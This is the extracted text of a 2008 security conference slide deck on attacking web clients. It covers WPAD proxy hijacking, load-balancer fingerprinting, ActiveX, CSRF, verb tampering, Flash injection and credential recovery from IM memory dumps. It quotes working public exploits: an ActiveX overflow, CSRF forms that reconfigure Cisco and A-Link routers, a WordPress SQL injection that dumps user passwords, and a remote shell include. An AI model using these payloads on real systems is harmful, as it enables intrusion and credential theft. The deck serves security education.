Xfocus xcon 2008_aks_oknock

Rolling Balls – Can You Hack Clients?

Aditya K SoodSecNiche Security

http://www.secniche.org

The Applied Insecurities / Exploitation

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Who Am I?

Research Front:• Founder , SECNICHE Security.• Independent Security Researcher.• Lead IS Author for Hakin9 Organization.• Research Author for USENIX and ELSEVIER Journals.• Like to do Bug Hunting. Released Advisories to Forefront

Companies.• Active Speaker at Security Conferences.• Team Lead – Evil Fingers Community.• Projects – CERA, MLABS, SCHAP etc.

Professional Front:Work as a Security Advisor / Penetration Tester for KPMG Consultancy.

Well Something Nice About

Me.

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Agenda – Moving Forward

The Discussion

Path1. Discovering Clients on Internet / Intranet.

Web Application Discovery ProtocolFingerprinting Embedded Devices.Rogue Request for HTTP Server Fingerprinting.JavaScript Based Client Information Retrieval

2. Client Side Attack Patterns.Pluggable Protocol Handlers. Active X Exploitation through Object Parameter.JavaScript Jacking JSON Injections [CSRF]HTTP Verb Jacking HTTP Verb Tampering.Insecure Parametric Design of Cookies Baking with XSS.War XHR and IFRAME Exploiting Patterns.Cross Site Request Forging (Embedded Devices) The High Risk.Surf Jacking Jacking HTTPS in Traffic Pool.FPI Flash Parameter Injections : Attack URI

3. Web Virtual Environment [RDP/ CITRIX]

4. Instant Messenger Encryption Attacks.

5. Case Study OBS Hacking Threats.

GENERAL Conceptual Briefings

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Will You able to Hack Clients ?

You Require Versatile

Attack Patterns + Web 2.0

Vulnerabilities Maximum Knowledge Maximum Intruding.

Driving on Insecurity in Client Side.

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Web 1.0 !== Web 2.0

What a Change in Application World !

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Why Client Side?

• User Interface with the Browsers to Access Content Remotely.• Client System Stores Sensitive Information as Local Cache.• Scripting – an Intermediate Model of Client Server Relation.• No Executables Required , Just Manipulation through Scripts.• Follows the Concept of Spoofing and Hidden Codes.• Exploitable through JS-Jacking and VBS-Jacking with number of

Attacks.• Browsers – The Bulls Eye , Attacker Prime Target.• The Concept – Exploitation On the Fly.• Exploitation Trend Change towards Application.• Application Level Attacks Easy to Trigger and Execute.

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Web 2.0 Application Model

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Integrity – Security Web Relation

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Client Hacking Basic Concept

Well Clients Not allowed to have a thought , Just Action.

Our Attacks Work on Clients Inability and Application Flaws

to Trigger.

Just Engage and Let them Work Acc to You.

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Discovering Clients on Web

Discover and Fingerprinting Information of Client Systems

INTERNET | INTRANET

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• Discovering Clients leverage lot of Sensitive Information.• Network and System Configuration is the Target Point to Attack.• Internet , Search Engines Like Google Projects Plethora of Information.• Attacking Intranet Requires the Inside Information of Party.• Garbage Dumps on World Wide Web Servers , A Huge Bonus for

Attackers.• Client Side Supports various Protocols [Weak] for Robust Functionality. • Insecure Administration of Servers – Configuration Mismanagement.• Browser Based Insecurities.• JavaScript Jacking on Client Browsers Reveal State Information of

Clients.• Every Single Element Discovered, Favors the Attack on Client.

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• Protocol used in Discovering Network Proxy Automatically.• Configuration File Contains Intranet Addresses Inherently.• Protocol Dismantle the Manual Configuration to Detect Proxy (PAC) File.• WPAD Works on DHCP Behavior. [DHCPINFORM Query]• No DNS Lookup is Required if DHCP Issues a Request.• Protocol Handler http://wpad.xxxx.com• PAC Proxy Auto Configuration | Proxy Settings for Subnets.• DHCP Query through Uniform Resource Locator [URL]• DNS Query through wpad.dat , File Located in WPAD Root Directory• Function FindProxyForURL()

WPAD Web Proxy Auto Discovery Protocol

http://wpad.xxxx.com/

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• Attack Point • wpad.dat is Not Stored in a Secure Manner. Should be Placed in Default

Virtual Directory.• Browsers have Stringency in Making a Request to wpad.dat if Stored in

Root Directory.• No Referrer Check on the Request to wpad.dat File.• wpad.dat When a Request is issued it Redirects the page to Required

Proxy File for Configuration of Browser.• Malicious Redirection Can be Done.• When a DHCP Request is Issued no DNS Required. WOW ! No DNS

Cache Poisoning is Required.• Rogue DHCP Server on LAN do the Trick.• Wpad use JavaScript to Set Browsers for Proxy Settings.


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# WPAD definitionoption wpad code 252 = text;

# Suppress WPAD activity - no cache, no DNS.option wpad "\n\000";

# Configure a valid WPAD cache. The \n is required for Windows.# All config below this line is optional.#option wpad "http://www.example.com/wpad.pac\n";

# Special config for Windows ("MSFT 5.0") systems.# Note this does not catch Windows CE.class "MSFT" {match if substring(option vendor-class-identifier, 0, 4) = "MSFT";

# They put 252 on the DHCPINFORM's, but not on the DHCPREQUEST's# PRL. So we over-ride the PRL to include 252 = 0xFC, which will also# suppress the DHCPINFORMS!option dhcp-parameter-request-list =concat(option dhcp-parameter-request-list, fc);}

function FindProxyForURL(url, host){return "PROXY 192.168.0.1:3128 ; DIRECT";}


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Proof of Concept - DEMO

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• Criticality in Determining the Internal Structure.• HTTP Request Parameters are Manipulated.• 301 Moved Permanently Response Code is thrown.• Devices used to Spoof the Internal IP Addresses.• Every Device has its Own Working Approach• Used to Set Cookie in a Different Manner.• Used to Change the parameter of HTTP Header Specifies.• Analyzing the change in HTTP Headers Play the Trick.• Necessary for Application Pen Testing at Infrastructural Level

Embedded Devices – Load Balancers , Proxies etc

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Response Check 1

HTTP/1.1 200 OK\r\nDate: Tue, 05 Jul 2007 17:05:18 GMT\r\nServer: Server\r\nVary: Accept-Encoding,User-Agent\r\nContent-Type: text/html; charset=ISO-8859-1\r\n

nnCoection: close\r\n Transfer-Encoding: chunked\r\n

Response Check 2- send: 'GET /?Action=DescribeImages&AWSAccessKeyId=0CZQCKRS3J69PZ6QQQR2&Owner.1

=084307701560&SignatureVersion=1&Timestamp=2007-02-15T17%3A30%3A13 &Version=2007-01-03&Signature=<signature removed> HTTP/1.1\r\nHost: ec2.amazonaws.com:443\r\nAccept- Encoding: identity\r\n\r\n' reply: 'HTTP/1.1 200 OK\r\n' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:13 GMT

send: 'GET /?Action=ModifyImageAttribute&Attribute=launchPermission&AWSAccessKeyId =0CZQCKRS3J6 9PZ6QQQR2&ImageId=ami-00b95c69&OperationType=add&SignatureVersion=1& Timestamp=2007- 02-15T17%3A30%3A14&UserGroup.1=all&Version=2007-01-03&Signature=<signature removed> HTTP/1.1\r\nHost: ec2.amazonaws.com:443\r\nAccept-Encoding: identity\r\n\r\n' reply: 'HTTP/1.1 400 Bad Request\r\n' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header:

Date: Thu, 15 Feb 2007 17:30:14 GMT header: nnCoection: close

Embedded Devices – HTTP Header Manipulation

Net ScalarDevice

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HTTP/1.1 200 OKDate: Tue, 10 July 2007 03:01:36 GMTServer: Apache Connection: closeContent-type: text/plain

HTTP/1.0 404 Not Found\r\nXontent-Length: \r\nServer: thttpd/2.25b 29dec2003\r\nContent-Type: text/html; charset=iso-8859-1\r\nLast-Modified: Tue, 05 Jul 2007 17:01:12 GMT\r\nAccept-Ranges: bytes\r\nCache-Control: no-cache, no-store\r\nDate: Tue, 05 Jun 2007 17:01:12 GMT\r\nContent-Length: 329\r\nConnection: close\r\n

Embedded Devices – HTTP Header Manipulation

RADWAREDevice

The Content Parameter is transformed into XONTENT. This is

Generally Shown by Potential RADWARE Devices

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Response Check 1

Cookie: service-http=167880896.12345.0000.ASPSESSIONIDSSCATCAT = XXXXXXXXXXXXXXXXXXX

Converting to Binary:

Binary ( cookie ) == 00001010000000011010100011000000

Converting to blocks of 4 00001010000000011010100011000000

00001010 1000000001 110101000 16811000000 192

Embedded Device F5 Big IP Load Balancer HTTP POOL – Cookie Dissection Check

Lets dissect the Pattern of this

Number.

Convert it into Decimal to see what is there.

The Internal IP Dissected is 192.168.1.10This Layout is specific to Working Devices

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Embedded Devices Demonstration - Discovering

Proof of Concept - DEMO

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• Fingerprinting HTTP Servers with Rogue Requests.• Web Servers React Stringently to Different Requests.• The Response Code can be used to Analyze the Web Server.• 80% of this Request-Response is Successful.

HTTP Servers Fingerprinting with Rogue Requests

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• Client Side JavaScript Can Leverage Lot of Information of Browser State.

Platform : Win32OSCPU : undefinedUserAgent : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3)

Gecko/2008092417 Firefox/3.0.3Language : en-USAppName : NetscapeAppVersion : 5.0 (Windows; en-US)Product : GeckoCodeName : 2008092417Vendor : VendorSub : CodeName : MozillaHistory : 3ScreenW : 1440ScrrenH : 900

Information Extraction through JavaScript Calls.

<script language="javascript"> function browserInfo(form) { var txtInfo; txtInfo =

"Platform : " + window.navigator.platform + "\n" + "OSCPU : " + window.navigator.oscpus + "\n" + "UserAgent : " + window.navigator.userAgent +

"\n" + "Language : " + window.navigator.language+ "\n" + "AppName : " +

window.navigator.appName + "\n" + "AppVersion: " + window.navigator.appVersion + "\n" +

"Product : " + window.navigator.product + "\n" + "CodeName : " + window.navigator.productSub + "\n" + "Vendor : " + window.navigator.vendor +

"\n" + "VendorSub : " + window.navigator.vendorSub + "\n" + "CodeName

: " + window.navigator.appCodeName + "\n" + "History : " + window.history.length + "\n" + "ScreenW : " + window.screen.width + "\n" +

"ScrrenH : " + window.screen.height;

form.txtOutput.value=txtInfo; return; } </script>

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The Internet Today ! WOW!

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Client Side Attack Weapons

Client Side Exploiting Patterns

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Attack Patterns – The Client Attack Base

• Pluggable Protocol Handlers. • Active X Exploitation through Object Parameter.• JavaScript Jacking JSON Injections [CSRF]• HTTP Verb Jacking HTTP Verb Tampering.• Insecure Parametric Design of Cookies Baking with XSS.• War XHR and IFRAME Exploiting Patterns.• Cross Site Request Forging (Embedded Devices) The High

Risk.• Surf Jacking Jacking HTTPS in Traffic Pool.• FPI Flash Parameter Injections : Attack URI

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[1] Pluggable Protocol Handlers

• Attack works with XSS etc Vulnerabilities.• Browsers support for the Application Handlers.• Easy to Trigger through number of Applications.• Third Party Attack Base.

GOOGLE CHROME Browser Support

protocol_handler": {"excluded_schemes": {

"afp": true,"data": true,"disk": true,"disks": true,"file": true,"hcp": true,"javascript": true,"mailto": false,"ms-help": true,"news": false,"nntp": true,"shell": true,"snews": false,"vbscript": true,"view-source": true,"vnd": {

"ms": {"radio": true

}

The handlers are deadly when fused with certain Web Vulnerabilities.

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Pluggable Protocol Handlers

• Telnet Protocol Handler through an Exploited URL

Third Party Connection Initiation from Vulnerable

URL. Attack Projected through Telnet Handler.

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[2] Active X Exploitation - Applications

• Active X Exploitation Application at Risk.• Dynamically Generated Objects hitting the Running Application.• Prime target is to find the Vulnerable Object.• Operations can be based on Objective or Fuzzing. • Objects are Specified as:

<object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object>Object Parameters to Trace:

• Class SomeClass• GUID: {some-guid}• Number of Interfaces:• Default Interface: • RegKey Safe for Script: F/T• RegKey Safe for Init: F/T• KillBitSet: F/T

Yahoo Messenger 8.1

Object ID

Restricting Use of Control in IE is done by setting Kill Bit

HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\

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Active X Exploitation - Applications

• CLSID Class ID is the Parent Key. • PROGID Program ID is the Subkey.• HKEY_CLASSES_ROOT\CLSID is alias to

HKEY_LOCAL_MACHINE\Software\Classes\CLSID.• GUID Determines the Safe for Scripting

Yahoo Messenger 8.1

Active X Exploit –Milw0rm

<html><body>

<object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object><script language=vbscript>

arg1=String(517140, "A")target.c arg1

</script></body></html>

GONE

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[3] JavaScript Jacking – The Evil Inside

• JavaScript – The Most Critical and Most Usable Scripting Entity.• Irrevocably Supported by Every Browsers.• Active base for Malicious Web Base Content.• Helps in Diversified Client Side Hacking from the Core.• Dynamic Generated Object Malfunctioning.• JS-Jacking Leveraging System Specific Information.• Attacker Can query Browser Related Information.• Active Encoding Attacks Fused with JavaScript.• DOM Based Calling Pattern for Web Based Attacks.

Website Requires JavaScript Support. This anatomy works in both positive and negative

manner

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JavaScript Jacking – The Evil Inside

• JavaScript – The Attack Entities

JavaScript has an Interface with the Projected Entities.

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• JavaScript – Favorable Attacks through JavaScript

Cross Site Scripting (XSS)

DOM Based XSS

Cross Site Request Forging (CSRF)

Cross Site Tracing (XST)

Malicious Script Injections

JavaScript Worms

JavaScript Encoding AttacksCookie Stealing

<script></script><object></object>

Document.cookie , document.domainAlert(‘XSS”);

<iframes></iframes><img src=“”></img>

<html><marquee></marquee></html>

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• JSON Injections The Serialization Insecurity | Web 2.0• Direct Injections with Encoding.• Everything is treated as String. Apply toJSONObject().• CSRF A different way to Fuse attack with Notation Objects.{

"menu":{

"id": "<img src="https://books.example.com/clickbuy?book=ISBNhere&quantity=100">",

"value": "<img src="https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y">",

"popup": "<scriptsrc="https://www.google.com/accounts/UpdateEmail?service=adsense&[email protected]&Passwd=cool&save="></script>"

}}

} Cross Site Request Forgery

Structured in JSON – Google

Ad sense Layout.

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[4] HTTP Request Manipulation – Verb Jacking

• HTTP Stateless Protocol. Every Request is Independent of other.• HTTP supports number of Request.• HTTP Verb Jacking Play with HTTP Requests like GET/POST.• Attack Affect Applications handling XML Data. Versatile Attack.• Request Schema is Defined in web.xml file.• HTTP Request Functionality is Placed in web.xml File.• Verb Jacking == Verb Tampering.• Exists for a Long Period of Time.• HTTP 1.0 and HTTP 1.1 Plays a Part.

In 2006 , I have released a paper called Rogue XML

Specifications which list the potential insecurities in

web.xml file. http://packetstormsecurity.org/papers/general/RogueXMLSpe

cific.pdf

Major Flaw HTTP End Point Check does not Disseminate among HTTP Request. Only

Parameter Check is Performed. All Verbs are Allowed.

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HTTP Request Manipulation – Verb Jacking

<security-constraint><web-resource-collection>

<web-resource-name>drivers</web-resource-name><description>

Security constraint for drivers page</description>

<url-pattern>/drivers.html</url-pattern>

<http-method>POST</http-method><http-method>GET</http-method>

</web-resource-collection><auth-constraint>

<description>constraint for drivers

</description><role-name>manager</role-name>

</auth-constraint></security-constraint>

<login-config>

<auth-method>BASIC</auth-method></login-config>

<security-role><role-name>manager</role-name>

</security-role>

The snapshot of web.xml file for a certain target. The

security constraint parameter defines the allowed request. The type of Authentication

allowed.

J2EE ,JSP , ASP , ASP.NET,PHP etc are based on configuration files to process the type

of request to handle. [ GET/POST/HEAD etc]

HTTP Verb Jacking Manager directories will not be Accessed by

GET/POST Request. What about

HEAD Request.

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HTTP Request Manipulation – Verb Jacking

• Reflective Points on Verb Jacking.• Semantic and Syntactic Manipulation. Configuration Check.• Session Object Plays a Specific Role when Direct Operations to be Done.• Syntactic Check Referrer Check / Validation Check etc.• Semantic Check Configuration Check.

Apache

IIS

Tomcat

VulnerableVersions /

Configurations

VERB Jacking Attacks

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[5] Insecure Parametric Cookies – Baking with XSS

• Insecure Use of Cookies in Session Management.• Where the Security State is ? Majority Fails to Instantiate.• XSS Drags in the Application. Authenticated Cookies can be Undertaken.• The Real Cause Insecure Design of Cookies with Parameters.

Cookie SecurityParameter

Check

Cookie Security Design is Judged by two major factors:1. Cookie over Secure Channel [HTTPS ]

2. Cookie Extraction through JavaScript Calls.

Cookie Security Parameters are :-Secure ( boolean) Allowed over only HTTPS.

HttpOnly ( boolean ) JavaScript document.cookie Fails.

Hardly we find Cookies Design

ss Secure. Wow One can Hack.

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[6] WAR Dissecting XHR and IFRAME

• XHR XML HTTP DOM based API for XML Data Transference.• Active Mechanism based on AJAX.• XHR Request does not Cached in the History of Browser.• IFRAME Requests have a proper History Caching Layout.• XHR Requests are Irreversible. IRAME is totally Reverse.• Working Functionality of both are Different from Each other.• Number of Client Side Attacks are Exploited by using these Elements.

If your browser do not support Ajax XHR request and a page is loaded into browser then the most of the remote toolkits have a hidden iframe to provide fake XHR support to the page.

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WAR Dissecting XHR and IFRAME

<script >var oRequest = new XMLHttpRequest();var sURL =

"http://www.snapdrive.net/files/571814/chrome.txt";alert('Downloading a txt file..please wait.');oRequest.open("GET",sURL,false);

oRequest.setRequestHeader("User-Agent",navigator.userAgent);oRequest.send(null);xmlDoc=oRequest.ResponseText;alert(xmlDoc);if (oRequest.status==200)

{ alert('Done...now try editing the Text-Box!');

var str=" Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-Click & Copy to clipboard.";document.write(str.link("http://"+oRequest.responseText+".exe"));

}else

{alert('Error executing XMLHttpRequest call!');}

Local Dos [Milw0rm]

var iframe = document.createElement("IFRAME"); iframe.setAttribute("src", 'ftp://localhost/anything'); iframe.setAttribute("name", 'myiframe'); iframe.setAttribute("id", 'myiframe'); iframe.setAttribute("onload", 'read_iframe("myiframe")'); iframe.style.width = "100px"; iframe.style.height = "100px";

document.body.appendChild(iframe);

Konqueror 3.5.5 Crash [Milw0rm]

http://www.milw0rm.com/exploits/6777http://www.milw0rm.com/exploits/3512

XHR Malicious URI Exploit

[Word Press SQL Injection through IFRAME]wp-

content/plugins/st_newsletter/stnl_iframe.php?newsletter=-

9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users--

[PHP Nuke IFRAME]http://www.example.com/nuke_path/iframe.php?file=ftp://user:[email protected]/public_html/shell.html

(or) .htm

http://www.milw0rm.com/exploits/6777

http://www.milw0rm.com/exploits/3512

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[7] CSRF Embedded Devices [HIGH RISK]

• Cross Site Request Forging in Embedded Devices.• Exploiting the Flaw and Fusing with CSRF for Hard Execution.

[1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm]<html> <body> <body onload="fdsa.submit();">

<form name=fdsa method="post" action="http://10.10.10.1/level/15/exec/-/configure/http"> <input type=hidden name=command value="alias exec xx xx">

<input type=hidden name=command_url value="/level/15/exec/-"> <input type=hidden name=new_command_url value="/level/15/configure/-">

</body> </html>

[2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm]<html> <body onload="document.wan.submit();

document.password.submit()"> <form action="http://192.168.1.254/goform/formWanTcpipSetup" method="post"

name="wan"> <input type="hidden" value="dnsManual" name="dnsMode" checked> <input type="hidden" name="dns1" value="216.239.32.10">

<input type="hidden" name="dns2" value="216.239.32.10"> <input type="hidden" name="dns3" value="216.239.32.10">

<input type="hidden" name="webWanAccess" value="ON" checked="checked"> </form> <form action="http://192.168.1.254/goform/formPasswordSetup" method="post"

name="password"> <input type="hidden" name="username" value="mallory"> <input type="hidden" name="newpass" value="gotroot">

<input type="hidden" name="confpass" value="gotroot"> </form> </body> </html>

[3] EXPLAY CMS CSRF Exploit<img src="http://explay.localhost/admin.php?name

=users&page=1&order=user_id&set_admin=2" />

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[8] Surf Jacking HTTPS Protection at Stake

• Vulnerable Play with HTTPS Websites.• Surf Jacking [HTTPS] is an Outcome from Side Jacking [HTTP].• Basic Flaw is In Cookie Setting by Respective Servers.• All Insecure Cookie Based Website at Risk. Side Jacking

discovered by Errata Security.

Surf Jacking discovered by Enable

Security

But Cookie Insecurity is known back time.

Greets to break down into Attacks.

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[9] Flash Parameter Injections

• Injecting Global Variables in Flash.• Active URL Based SWF Files are Vulnerable Point.• Parameters that can be Injected or Insecure Flash Objects.

System.security.loadPolicyFileExtracting URL:- getURL , getLocal

Load Events:load*(URL,..) Functions

loadVariables(url, level )LoadMovie ( url, target )LoadMovieNum( url, level )XML.load ( url )LoadVars.load ( url ) Sound.loadSound( url , isStreaming ); NetStream.play( url );

Field Setup:TextField.htmlText [ Metadata Checks ]

Conversion Checks: Flash to XMLtry { __flash__toXML(); } catch(e) { Undefined; }try{code}catch(e){location.reload()}

Variable Initializations- Global / Local_level_root_global

FPI based on DOM : Adobe FPI Vulnerability

Elementsfunction showFlash(swf, w, h, loop){

var myLocation = encodeURI(document.location);s += '<param name="FlashVars" value="'+

'initialURL=' + myLocation + '&isMSIE=' + isMSIE + '&useBSM=false" />'

document.write(s);}

Shared ObjectsmySharedObject = SharedObject.getLocal("sharedObjName"); mySharedObject.data.name = “XXXXX";mySharedObject.data.homepage = “Vulnerable HTTP Link";mySharedObject.flush();

asfunction:getURL,javascript:alert(‘XSS’)”

<object><embed src="movie.swf" flashvars="location= "> </embed> </object>

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Client Hacking

Client Virtual Environment Intrinsic Play with ICA Client and RDP[MTS]

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Conceptual Briefing – ICA | RDP

• Virtual Environment for Clients to Produce Interface with Servers.• Executing Commands and GUI Operations Generically.• ICA Independent Computing Architecture , CITRIX Applications• RDP Remote Desktop Protocol , Microsoft Proprietary Protocol.• Basically , Virtual Desktop Working Functionality.• Protocols Defined have Different Working Behavior for ICA and RDP• Application ( RDP ) MTS i.e. Microsoft Terminal Services.• Clients Exist for almost all Platforms [*Nix, Windows etc].• ICA Similar to X Window System / XEN Virtual Environment.• RDP Client RDC + TSC

RDC Remote Desktop Connection.TSC Terminal Services Connection.

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Conceptual Briefing – ICA | RDP

Citrix Web ICA File: Webica.ini

• Trusted and Un-trusted Distinction Client Modeling Check.• It depicts the trusted behavior of ICA Client from its Origin Point using the

webica.ini file.• Trusted ( ICA Client ) Program Neighborhood / PN Agent.• Un-Trusted ( ICA Client ) Web Interface / Direct ICA File Execution.

Structured Dependency over webica.ini file. It is used to set Access Rights.

Citrix Application Server File: Appsrv.ini

• Custom ICA Connections are defined in it.• Information about Entries in Remote Connection Manager.

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The Positive Attack Point – CITRIX ICA

Citrix Desktop Connection parameters provide a functionality to feed a specific Command which will get executed when a connection is initiated to the server

by the client. Usually instead of the desktop the command gets executed.

• [ApplicationServers]• Desktop=•• [Desktop]• TransportDriver=TCP/IP• BrowserProtocol=UDP• DesiredHRES=4294967295• DesiredVRES=4294967295• ScreenPercent=0• DoNotUseDefaultCSL=Off• Description=Desktop• Address=citrix.msdsb.net• InitialProgram=#ROGUE or MALICIOUS COMMAND• IconPath=M:\Program Files\Citrix\ICA Client\pn.exe• IconIndex=1• ConnectType=1• MaximumCompression=Off• UseAlternateAddress=0• Compress=On

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The Positive Attack Point – MTS RDP

Microsoft Terminal Services RDP has inbuilt option of executing command through shell directly which is a possible attack

point of Infection.

• screen mode id:i:1• desktopwidth:i:800• desktopheight:i:600• session bpp:i:16• winposstr:s:0,3,0,0,800,572• full address:s:www.intlogistics.com• alternate shell:s: Malicious or rogue Command• compression:i:1• keyboardhook:i:2• audiomode:i:0• redirectdrives:i:0• redirectprinters:i:1• redirectcomports:i:0• redirectsmartcards:i:1• displayconnectionbar:i:1• autoreconnection enabled:i:1• username:s:freight

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GOOGLING for Random Targets :ICA

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GOOGLING for Random Targets : RDP

50

Attacking RDP | CITRIX

Proof of Concept - Demo

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Client Hacking

Client Side Memory Encryption FlawsInstant Messengers ( SKYPE , PIDGIN etc)

52

Instant Messenger Encryption Flaws

• Inability of Encrypting Password in Memory.• Credentials are Stored in Memory for Active Functionality with

Sessions.• No Encryption is applied for Credentials Integrity.• Passwords remain in the Memory in Clear Text.• No Hashing Mechanism is used.• The Encryption is Applied as Half Process. Used after Local Memory

Storage.• No Salts are used to Harden the Password Usage.• Application Flaw and No Stress has been Laid on it.• Number of Messengers are Affected due to Inappropriate Handling.• Memory Dumps provide Raw Data with Clear Text Credentials.

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• Attacks are Based on Memory Dumps Extraction.• Design Problems in an Instant Messaging Application.• Clear Text Credentials Lead to Brute Force Attacks.• Object Usage is not Properly Defined Related to Password Handling

Procedures.• Optimization problems Result in Local Cache Storage.• Ability of Memory Retrieval Tools to Extract Dump.• Unsecured Security Model in Practice.• Access Objects are not Used Properly.

Stringency Little Hard to Search Credentials in Raw Dump.

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PMDump Process Memory Dumper in Action

55


SKYPE - RAW Dump

56


Proof of Concept – Demo

PIDGIN Client.

57

Client Hacking

Hotspots – The Real Hacking SpotsWIFI – Wireless in the Wild.

58

Hotspots – Wireless in the Wild

• Hotspots Public Locations for Internet Access.

• WIFI Working Functionality through Access Points.

• Access Points Beacon Signals after specific Time Slots.

• Working (Ethernet) != Working (Wireless)

• Breaking down the Myth of Physical Layer of Security.

• Everything is in the Air , Wireless Signals.

\

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Hotspots Can be:

• Public Available Internet.

• Corporate Guest Network

• Open Network.

• Malicious Network.

• Rogue Network.

Network is Free To Connect.

No Working Mode Security

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• Versatility in Hotspot Attack Vector • Insecure Wireless Connection. • Hotspot is mainly a kind of ADHOC Network• Weakness in Encryption Protocol. WEP Keys Attack. • Generic Credentials are used for Connection Access. Can be NULL.• Can be a Peer to Peer Network. • Attack Vector is more Diversified as Guest Network.• Scanning is very Easily. Hotspots are Open Listeners for Connection.• Weakley Secured Networked or Totally Unsecured.

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• Proceeding with the Attack The Hack Steps• Scanning the Incessant Hotspot with Wireless Enabled Device.• SSID can be Easily Extracted for the Required Targets.• Signal Strength Access Point Availability for Connection.• Hotspots Provide Number of Free Services. Quiet Good for Us.• Infrastructure Devices Resources for Hotspot.• Attacks Sniffing , Spoofing , Eavesdropping etc.• Vulnerability Check for Devices used in Wireless Hotspots.• Metasploit Can be Useful in Exploiting Potential Targets.

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Client Hacking – A Study

OBS Hacking Threats – Ripple Effect

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What is OBS?

• OBS Stands for Online Banking Services.• OBS work directly as Business Ecosystem.• Based on the Concept of Distributed Service Management with

Centralized Service Orientation.• Mostly all Banks , Corporate Finance Companies etc Use these Services.• OBS Implements along Number of Parties.• Triggering a Single Flaw on Persisting Service Impacts in a Distribute

Manner• Direct Impact – Client Systems• OBS Ripple Effect is Critical Part of it.

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Imperial View of OBS Ecosystem

• OBS Ecosystem based on the Concept of Business Niche• Niche Encompasses Security, Reliability and Flexibility to be Provided• Criticality Factor is High Monetary Transaction are Involved.• Working Functionality Service Oriented Architectures (SOA)• Transaction Management XML Transference Mechanism.

The Ecosystem Layout.

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OBS Ecosystem : Ripple Effect

The Attack Components

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Well We are All Done, NOW !

Thanks for Knowledge Sharing.

Questions ?

Or Lets Meet Together after this for more Sharing

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Thanks and Regards

XCON XFOCUS

We Appreciate Your Efforts.

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